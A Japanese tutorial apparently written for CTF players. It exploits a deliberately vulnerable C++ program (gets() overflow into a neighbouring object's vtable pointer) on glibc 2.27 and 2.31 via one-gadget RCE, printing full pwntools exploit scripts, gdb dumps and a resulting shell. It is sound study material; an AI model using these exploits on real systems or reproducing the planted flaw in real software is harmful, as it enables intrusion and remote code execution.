glibc 2.31の環境で、C++の仮想関数テーブルを上書きできる脆弱性を突いて攻撃する話を「One-gadget RCEとは?」というような話も交えながら書いてみる。
分かる人向けまとめ。
- 仮想関数テーブルの上書きでシェルを取ろうと思うとone-gadget RCEに頼らざるをえない
- glibc 2.31のone-gadget RCEは、仮想関数テーブルの上書きと相性が悪く、one-gadget RCEの条件を満たせない
- 別の仮想メンバ関数呼び出しを挟むことで、one-gadget RCEの条件を満たせることもある
- でもやっぱりつらいね
問題
// g++ data.cpp -o data -fpie -Wl,-z,relro,-z,now -fcf-protection=none
#include <stdio.h>
extern "C" char *gets(char *s);
class Data
{
char data[0x10];
public:
virtual void get() {gets(data);}
virtual void put() {puts(data);}
};
int main()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
Data *data[4];
for (int i=0; i<4; i++)
data[i] = new Data();
printf("main: %p\n", main);
printf("data: %p\n", data);
printf("data[0]: %p\n", data[0]);
printf("printf: %p\n", printf);
while (true)
{
printf("> ");
char buf[0x10];
fgets(buf, 0x10, stdin);
int command, index;
sscanf(buf, "%d %d\n", &command, &index);
if (command<0 || 2<=command ||
index<0 || 4<=index)
break;
if (command==0)
data[index]->get();
if (command==1)
data[index]->put();
}
}
こういうプログラムを用意した。コンパイル済みのバイナリや攻撃コードとともにGitHubに置いてある。
virtual void get() {gets(data);}
が脆弱性。今どきのC++はgets
が消えていてコンパイルできなかったので、わざわざ宣言している。glibcに実装は残っているから、コンパイルさえ通せばリンクはできる。
コンパイルオプションについて。
-fpie
によって、プログラム本体の配置位置もASLRによってランダムになるようにしている。ライブラリ、スタック、ヒープの配置位置は元からランダムになっている。
-Wl,-z,relro,-z,now
によって、GOTを読み込み専用にしている。GOTは共有ライブラリ内の関数(printf
とか)のアドレスが書かれる。プログラム起動時ではなく初回呼び出し時にアドレス解決をするために、デフォルトは書き込みもできるようになっている。ここ経由で攻撃ができることもある。この2個はセキュリティを強化するためのもの。今回のコードだとあまり関係無い気もするが。
-fcf-protection=none
はIntel CETを無効にするためのもの。古いGCCにはこのオプションが無くて、新しいGCCでnone
を指定したときと同じ挙動をするはず。Intel CETによってこの後に出てくるような攻撃が防がれる……らしい。このオプションを指定すればIntel CETに対応するCPUでも後の攻撃が試せる……はず? そもそも対応CPUがまだ無いので良く分からん。
main
関数のアドレスなどを出力している。これらによって、上から順番に、このプログラム、スタック、ヒープ、glibcのアドレスが分かる。普通はこのような出力は無く、まずはこれらの値をリークさせるところから。この記事の主題はここではないので、簡単にしている。
CTFのPwnable
Pwnableは「スタックバッファオーバーフローなどの脆弱性を攻撃してみろ」という問題。
昔は、SSHでログインするとsuidされたプログラムが置いてあって権限昇格したり、TCPサーバーを実装したプログラムが問題だったりしたのだけど、今は標準入出力を使っているものがほとんど。
出題者は、サーバーに置いたプログラムをxinetd経由で動かすことで、TCPのサーバーを提供する。手元で動かすときは、いちいちxinetdの設定ファイルを書くのは面倒なので、socatを使って
$ socat tcp-l:7777,reuseaddr,fork system:./data
とすれば良い。これで、TCPの7777ポートと./data
の標準入出力が繋がる。
$ socat tcp-l:7777,reuseaddr,fork 'system:gdbserver localhost\:8888 ./data'
とすればgdbserver経由で動かせるので、gdbを繋いでデバッグできる。localhost\:8888
の\
はシェルのエスケープではなく、socatの引数としてのエスケープ。ややこしい。
答えとなるフラグはたいてい問題サーバーのどこかにファイルとして置かれている。脆弱性を突いて、ls
やcat
などに相当するコードを実行しても良いのだけど、面倒なので、system("/bin/sh")
に相当するコードを動かすことが多い。system
の標準入出力もそのままTCPのポートに繋がれるから、好きにコマンドを実行できる。
C++のクラスの仮想関数テーブル
#include <iostream>
using namespace std;
struct Base
{
virtual void f() {cout<<"base"<<endl;}
};
struct Sub: Base
{
virtual void f() {cout<<"sub"<<endl;}
};
int main()
{
Base *p = new Sub();
p->f();
}
これを実行すると何が出力されるでしょうか? 答えはsub
。Base
型のポインタのメンバ関数を呼び出しているけれど、ポインタが指しているのはSub
型なので、Sub
のメンバ関数が実行される。動的多態性。他のプログラミング言語ではメンバ関数(メソッド)はこのような動作をするのが普通。でも、パフォーマンス至上主義であるところのC++は、「このポインタが指している値の型は?」ということを気にしてパフォーマンスが落ちるのを避けるためか、virtual
キーワードを付けたメンバ関数だけがこのような挙動をする。
これをどうやって実現しているのか?
> 0 0
hoge
> 0 1
fuga
> 0 2
piyo
を入力した後のメモリの様子をgdbで見てみる。ちなみに、gdbにPEDAというプラグインを入れると、レジスタやスタックの値が一度に表示されたり、hexdump
などのコマンドが増えて便利。
$ gdb data
:
gdb-peda$ r
Starting program: /home/kusano/ctfpwn/data
main: 0x555555555199
data: 0x7fffffffe380
data[0]: 0x55555556aeb0
printf: 0x7ffff7c49e10
> 0 0
hoge
> 0 1
fuga
> 0 2
piyo
> ^C
Program received signal SIGINT, Interrupt.
:
gdb-peda$ b *(main+327)
Breakpoint 1 at 0x5555555552e0
gdb-peda$ c
Continuing.
9 9
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe3a0 --> 0x7f000a392039
RBX: 0x55555556af10 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
RCX: 0x7ffff7cf5fb2 (<__GI___libc_read+18>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7ffff7dd0a03 --> 0xdd34d0000000000a
RDI: 0x7ffff7dd34d0 --> 0x0
RBP: 0x7fffffffe3d0 --> 0x0
RSP: 0x7fffffffe370 --> 0x280
RIP: 0x5555555552e0 (<main+327>: lea rcx,[rbp-0x58])
R8 : 0x7fffffffe3a0 --> 0x7f000a392039
R9 : 0x0
R10: 0x555555556031 --> 0x642520642500203e ('> ')
R11: 0x246
R12: 0x5555555550b0 (<_start>: endbr64)
R13: 0x7fffffffe4c0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555552d3 <main+314>: mov esi,0x10
0x5555555552d8 <main+319>: mov rdi,rax
0x5555555552db <main+322>: call 0x555555555090 <fgets@plt>
=> 0x5555555552e0 <main+327>: lea rcx,[rbp-0x58]
0x5555555552e4 <main+331>: lea rdx,[rbp-0x5c]
0x5555555552e8 <main+335>: lea rax,[rbp-0x30]
0x5555555552ec <main+339>: lea rsi,[rip+0xd41] # 0x555555556034
0x5555555552f3 <main+346>: mov rdi,rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe370 --> 0x280
0008| 0x7fffffffe378 --> 0x400000002
0016| 0x7fffffffe380 --> 0x55555556aeb0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
0024| 0x7fffffffe388 --> 0x55555556aed0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
0032| 0x7fffffffe390 --> 0x55555556aef0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
0040| 0x7fffffffe398 --> 0x55555556af10 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
0048| 0x7fffffffe3a0 --> 0x7f000a392039
0056| 0x7fffffffe3a8 --> 0x555555555400 (<__libc_csu_init>: endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00005555555552e0 in main ()
PEDAのおかげでレジスタやスタックにアドレスが入っていたら辿ってくれたり、アドレスの属性(読み込み専用とか実行可とか)ごとに色が付いていたりして大変見やすい。
スタックのこの部分がdata[4]
。値としては、0x55555556aeb0
とか。
0016| 0x7fffffffe380 --> 0x55555556aeb0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
0024| 0x7fffffffe388 --> 0x55555556aed0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
0032| 0x7fffffffe390 --> 0x55555556aef0 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
0040| 0x7fffffffe398 --> 0x55555556af10 --> 0x555555557d60 --> 0x55555555539a (<Data::get()>: push rbp)
メモリの中身を見てみる。
gdb-peda$ hexdump 0x55555556aeb0 0x100
0x000055555556aeb0 : 60 7d 55 55 55 55 00 00 68 6f 67 65 00 00 00 00 `}UUUU..hoge....
0x000055555556aec0 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
0x000055555556aed0 : 60 7d 55 55 55 55 00 00 66 75 67 61 00 00 00 00 `}UUUU..fuga....
0x000055555556aee0 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
0x000055555556aef0 : 60 7d 55 55 55 55 00 00 70 69 79 6f 00 00 00 00 `}UUUU..piyo....
0x000055555556af00 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
0x000055555556af10 : 60 7d 55 55 55 55 00 00 00 00 00 00 00 00 00 00 `}UUUU..........
0x000055555556af20 : 00 00 00 00 00 00 00 00 e1 f0 00 00 00 00 00 00 ................
0x000055555556af30 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af40 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af50 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af70 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af80 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556afa0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
data[0]
のアドレスの8バイト先に入力した文字列が入っていることが分かる。0x21
はmallocが使っている値なので、今回は無視して良い。残りは、(リトルエンディアンなので)0x555555557d60。
ここに何が入っているか見てみる。
gdb-peda$ hexdump 0x555555557d60 0x20
0x0000555555557d60 : 9a 53 55 55 55 55 00 00 ba 53 55 55 55 55 00 00 .SUUUU...SUUUU..
0x0000555555557d70 : 08 90 fa f7 ff 7f 00 00 3b 60 55 55 55 55 00 00 ........;`UUUU..
0x55555555539aと0x5555555553ba。これが何かというと、Data::get()
とData::put()
のアドレス。
gdb-peda$ pdisass 0x55555555539a
Dump of assembler code from 0x55555555539a to 0x5555555553ba:: Dump of assembler code from 0x55555555539a to 0x5555555553ba:
0x000055555555539a <Data::get()+0>: push rbp
0x000055555555539b <Data::get()+1>: mov rbp,rsp
0x000055555555539e <Data::get()+4>: sub rsp,0x10
:
gdb-peda$ pdisass 0x5555555553ba
Dump of assembler code from 0x5555555553ba to 0x5555555553da:: Dump of assembler code from 0x5555555553ba to 0x5555555553da:
0x00005555555553ba <Data::put()+0>: push rbp
0x00005555555553bb <Data::put()+1>: mov rbp,rsp
0x00005555555553be <Data::put()+4>: sub rsp,0x10
:
ということで、Data
を継承したクラスでも、1個目がget()
のアドレスで2個目がput()
のアドレスという仮想関数テーブルのアドレスを、インスタンスの最初に置いてくれれば、data[index]->get()
という呼び出しで、継承したクラスのget()
が呼べる。
仮想関数テーブル自体は書き込み不可の領域にあるものの、仮想関数テーブルを指すポインタは書き換え可能な領域にある。適当な仮想関数テーブルを作って仮想関数テーブルを指すアドレスを書き換えられれば、data[index]->get()
で好きなアドレスに制御を移せる。Data::data
への読み込みに脆弱なgets
関数を使っているので、これは実現できる。
One-gadget RCE
ということで、好きなアドレスに制御を移せるものの、実行したいのはsystem("/bin/sh")
である。どうしよう。
仮想関数テーブルに上書きができるという脆弱性以外の脆弱性の場合、あまり困らない。
スタックバッファオーバーフローならば、ROP(Return oriented programming)で、system("/bin/sh")
という処理を作れる。
ヒープ関連の脆弱性の場合。脆弱性を突いてできることは、まずは任意のアドレスへの任意の値の書き込み(AAW、Any Address Write)である。glibcには__free_hook
という便利な変数がある。__free_hook
に関数f
のアドレスを書き込んでおくと、free(hoge)
という処理で、f(hoge)
が呼び出される。たいていはmalloc
で確保した領域には脆弱性を使わなくても好きな文字列を書き込めるので"/bin/sh"
を書き込んで、__free_hook
にsystem
のアドレスを書き込んでおけば、解放するときにsystem("/bin/sh")
になる。GOTが書き込み可能ならば、puts
などをsystem
に差し替えて、puts("/bin/sh")
をsystem("/bin/sh")
にするということもできる。
仮想関数テーブルを上書きする場合、こういう凝ったことができない。どこかのアドレスに制御を移すだけ。p->f(user_input)
という形になっていれば、p->f
をsystem
に差し替えて上手くいくかと思いきや、これもダメ。メンバ関数のアドレスをCの関数に差し替えたとき、Cの関数の第1引数の位置にはthis
が来る。
そこでOne-gadget RCE(Remote Code Execution)が出てくる。(レジスタの値などの条件を満たした上で)glibcの特定のアドレスに制御を移せば、execve("/bin/sh", NULL, NULL)
が実行される。マニュアルでは「argv
とenvp
にNULL
を渡すのは止めろ」と言っているが、動くので気にしなくて良い。
どうしてこういうことが起こるのかというと、指定されたファイルがELF形式でない場合にexeve
が/bin/sh
の引数にファイルを渡して実行したり、system
が/bin/sh -c command
を実行するようになっているから。この処理の途中に上手いこと飛ぶと、execve("/bin/sh", NULL, NULL)
になる。
glibcを逆アセンブルして、"/bin/sh"
を手がかりに探しても良いのだけど、探してくれるツールもある。
$ one_gadget libc_2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
ちなみに、デフォルトでは条件が満たされる可能性が高いものだけが出力される。引数に-l 1
を付けると増える。
$ one_gadget -l 1 libc_2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL
0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
glibc 2.27の場合
data[2]
に偽の仮想関数テーブル(1個目のget()
の位置に、one-gadget RCE)を書き込んでおき、data[0]->data
のオーバーフローでdata[1]
の仮想関数テーブルのアドレスを偽の仮想関数テーブルに書き換え、data[1]->get()
を呼び出すと、/bin/sh
が実行される。
from pwn import *
context.arch = "amd64"
s = connect("localhost", 7777)
s.recvuntil("data[0]: 0x")
data0 = int(s.recvline()[:-1], 16)
s.recvuntil("printf: 0x")
printf = int(s.recvline()[:-1], 16)
def get(index, data):
s.sendlineafter("> ", "%d %d"%(0, index))
s.sendline(data)
def put(index):
s.sendlineafter("> ", "%d %d"%(1, index))
return s.recvline()[:-1]
libc = printf - 0x64e80
rce = libc + 0x4f322
get(2, pack(rce))
get(0, b"a"*0x18 + pack(data0 + 0x48))
get(1, "")
s.interactive()
$ python3 attack_2.27.py
[+] Opening connection to localhost on port 7777: Done
[*] Switching to interactive mode
$ uname -a
Linux RIO 4.4.0-18362-Microsoft #836-Microsoft Mon May 05 16:04:00 PST 2020 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
:
攻撃したときのメモリはこんな感じ。
gdb-peda$ hexdump 0x55555556aeb0 0x100
0x000055555556aeb0 : 60 7d 55 55 55 55 00 00 61 61 61 61 61 61 61 61 `}UUUU..aaaaaaaa
0x000055555556aec0 : 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0x000055555556aed0 : f8 ae 56 55 55 55 00 00 00 00 00 00 00 00 00 00 ..VUUU..........
0x000055555556aee0 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
0x000055555556aef0 : 60 7d 55 55 55 55 00 00 b2 42 c3 f7 ff 7f 00 00 `}UUUU...B......
0x000055555556af00 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
0x000055555556af10 : 60 7d 55 55 55 55 00 00 00 00 00 00 00 00 00 00 `}UUUU..........
0x000055555556af20 : 00 00 00 00 00 00 00 00 e1 f0 00 00 00 00 00 00 ................
0x000055555556af30 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af40 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af50 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af70 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af80 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556af90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000055555556afa0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
使っているライブラリpwn
はこれ。
「Aという文字列が来るまで待ってから、Bを書き込む」という処理や、struct.pack("<Q", ...)
のような処理が楽に書ける。ELFを解析してシンボルを読んだりする機能もある。ローカルでプログラムを実行してパイプで処理するときにもほぼ同じように書けるので、CTFのPwnableを解くとき以外にも役に立つかもしれない。
glibc 2.31の場合
問題は2.31の場合である。
2.31と書いているけれど、2.27(Ubuntu 18)と2.31(Ubuntu 20)しか確認していないので、その間のどこで変わったのかは分からん。
同じようにone_gadget
を実行してもこれしか出てこない。-l 1
を付けているのに。
$ one_gadget -l 1 libc_2.31.so
0xe6ce3 execve("/bin/sh", r10, r12)
constraints:
[r10] == NULL || r10 == NULL
[r12] == NULL || r12 == NULL
0xe6ce6 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0xe6ce9 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
何かバグがあったらしく、GitHubから最新版を持ってきてビルドすると、ちょっと増える。
Failed to find some gadgets on glibc 2.31 · Issue #119 · david942j/one_gadget
$ git clone git@github.com:david942j/one_gadget.git
:
$ cd one_gadget/
$ rm Gemfile.lock
$ bundle install --path vendor/bundle
$ bundle exec one_gadget -l 1 /path/to/libc_2.31.so
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0xe6ce3 execve("/bin/sh", r10, r12)
constraints:
[r10] == NULL || r10 == NULL
[r12] == NULL || r12 == NULL
0xe6ce6 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
何かエラーが出たので、Gemfile.lockを消したらビルドできた。Ruby良く分からん。たぶん、何とかenvでbundlerのバージョンとかをどうにかするのが正しい対処だと思う。
いっぱい出てきたからどれか1個くらい成功するかと思いきや、どれもダメ。[r12] == NULL || r12 == NULL
か[rdx] == NULL || rdx == NULL
のどちらかは真でないといけない。
r12
はmain
の呼び出し時点で、_start
のアドレスが設定されていた。これは[r12] == NULL
もr12 == NULL
も満たさない。x64の呼び出し規約ではr12
は呼び出された側が元に戻さないといけないので、main
関数中でr12
が使われていなければ、以降main
の中にいるときのr12
の値が変わることはない。
rdx
は仮想関数テーブル上書きとの相性が悪い。GCCで最適化をしないとき、仮想メンバ関数の呼び出しは次のようなコードになる。
1351: 8b 45 a8 mov eax,DWORD PTR [rbp-0x58]
1354: 48 98 cdqe
1356: 48 8b 44 c5 b0 mov rax,QWORD PTR [rbp+rax*8-0x50]
135b: 8b 55 a8 mov edx,DWORD PTR [rbp-0x58]
135e: 48 63 d2 movsxd rdx,edx
1361: 48 8b 54 d5 b0 mov rdx,QWORD PTR [rbp+rdx*8-0x50]
1366: 48 8b 12 mov rdx,QWORD PTR [rdx]
1369: 48 83 c2 08 add rdx,0x8
136d: 48 8b 12 mov rdx,QWORD PTR [rdx]
1370: 48 89 c7 mov rdi,rax
1373: ff d2 call rdx
rdx
に呼び出す仮想メンバ関数のアドレスを設定してcall。[rdx] == NULL || rdx == NULL
が満たされない。
ところで、なぜglibc 2.31でone gadget RCEが減ったのか? それは一部の関数の実装で、fork
とexeve
を使っていたところが、posix_spawn
になったから。one_gadgetは対応していないものの、これらもone-gadget RCEになる。
Consider posix_spawn as a gadget · Issue #121 · david942j/one_gadget
手元のglibc 2.31ではアドレスがズレていたのであらためて貼る。
54f7b: 48 8d 05 25 26 16 00 lea rax,[rip+0x162625] # "-c"
54f82: 48 8d 0d 26 26 16 00 lea rcx,[rip+0x162626] # "sh"
54f89: 31 d2 xor edx,edx
54f8b: 66 48 0f 6e c8 movq xmm1,rax
54f90: 66 48 0f 6e c1 movq xmm0,rcx
54f95: 48 8d 7c 24 0c lea rdi,[rsp+0xc]
54f9a: 48 8b 05 0f 5f 19 00 mov rax,QWORD PTR [rip+0x195f0f] # environ_ptr
54fa1: 66 0f 6c c1 punpcklqdq xmm0,xmm1
54fa5: 4c 8d 44 24 50 lea r8,[rsp+0x50]
54faa: 48 89 e9 mov rcx,rbp
54fad: 48 89 5c 24 60 mov QWORD PTR [rsp+0x60],rbx
54fb2: 4c 8b 08 mov r9,QWORD PTR [rax]
54fb5: 48 8d 35 ee 25 16 00 lea rsi,[rip+0x1625ee] # "/bin/sh"
54fbc: 0f 29 44 24 50 movaps XMMWORD PTR [rsp+0x50],xmm0
54fc1: 48 c7 44 24 68 00 00 mov QWORD PTR [rsp+0x68],0x0
54fc8: 00 00
54fca: e8 b1 a7 0b 00 call 10f780 <posix_spawn@@GLIBC_2.15>
one_gadgetの作者が条件として書いているrax == NULL
は、この問題では満たされない。でも、rcx == NULL
でも良い。この場合は、argv = {NULL}
となる。/bin/shはこれでも動く。
(u16)[rbp] == 0
も満たしている。関数の冒頭の定型文push rbp; mov rbp,rsp
から、[rbp]
に来るのは関数呼び出し前のrbp
の値である。main
では0
だった。なお、main
から呼び出される関数では普通はこの条件は満たさない。
これで、シェルが実行できるかと思うと、movaps XMMWORD PTR [rsp+0x50],xmm0
で落ちる。
x64の呼び出し規約では、call
を実行した時点のスタックが16バイト境界に揃っている((rsp&0xf)==0
となっている)必要がある。call
の時点でリターンアドレスが積まれて8バイトずれ、関数冒頭のpush rbp
でもう8バイトずれるので、通常はその他のrsp
の操作が16バイト単位ならこの条件を満たす。One-gadget RCEでは関数の途中に飛んでpush rbp
を飛ばすため、rsp
の下位4ビットが8になってしまう。
スタックが16バイト境界に揃っていなくてもだいたいは問題が無いのだが、movaps
のような一部の命令は動かない。そして、posix_spawn
の周りには妙にmovaps
が多い。スタックバッファオーバーフローからのROPならば、途中にret
を挟むだけで回避できるのだけど……。
call
をもう1回実行できれば、rsp
がさらに8バイトずれて上手くいく。なので、次のようにすれば良い。
- 仮想関数テーブルの
get
の位置に、main
のdata[index]->put()
の呼び出しのあたりのアドレスを書いておく -
call
(1回目)でdata[index]->put()
のあたりに制御が移る - 仮想関数テーブルの
put
の位置には、one-gadget RCEのアドレスを書いておく -
data[index]->put()
でcall
(2回目)が実行されて、one-gadget RCEに制御が移る
from pwn import *
context.arch = "amd64"
s = connect("172.18.90.7", 7777)
s.recvuntil("main: 0x")
main = int(s.recvline()[:-1], 16)
s.recvuntil("data[0]: 0x")
data0 = int(s.recvline()[:-1], 16)
s.recvuntil("printf: 0x")
printf = int(s.recvline()[:-1], 16)
def get(index, data):
s.sendlineafter("> ", "%d %d"%(0, index))
s.sendline(data)
def put(index):
s.sendlineafter("> ", "%d %d"%(1, index))
return s.recvline()[:-1]
base = main - 0x1199
put = base + 0x1351
libc = printf - 0x64e10
rce = libc + 0x54f89
get(2, pack(put)+pack(rce))
get(0, b"a"*0x18 + pack(data0 + 0x48))
get(1, "")
s.interactive()
$ python3 attack_2.31.py
[+] Opening connection to 172.18.90.7 on port 7777: Done
[*] Switching to interactive mode
$ uname -a
Linux Ubuntu20 5.4.0-40-generic #44-Ubuntu SMP Tue Jun 23 00:01:04 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
:
今回はたまたま成功したけれど、one-gadget RCEのアドレスを1-2個適当に試せば動いたglibc 2.27に比べると、だいぶ綱渡り感がある。posix_spawn
は引数が多いので、それだけ満たすべき条件が増えて厳しい。レジスタの値の調整などを頑張りだすと「何のためのOne-gadget RCEだ……」という気がしてくる。上記の方法もガジェットを2個使っているし。まあ、libcのバージョンが2.31だったら、まずはone-gadget RCEを使わない方法を考えるべきでしょう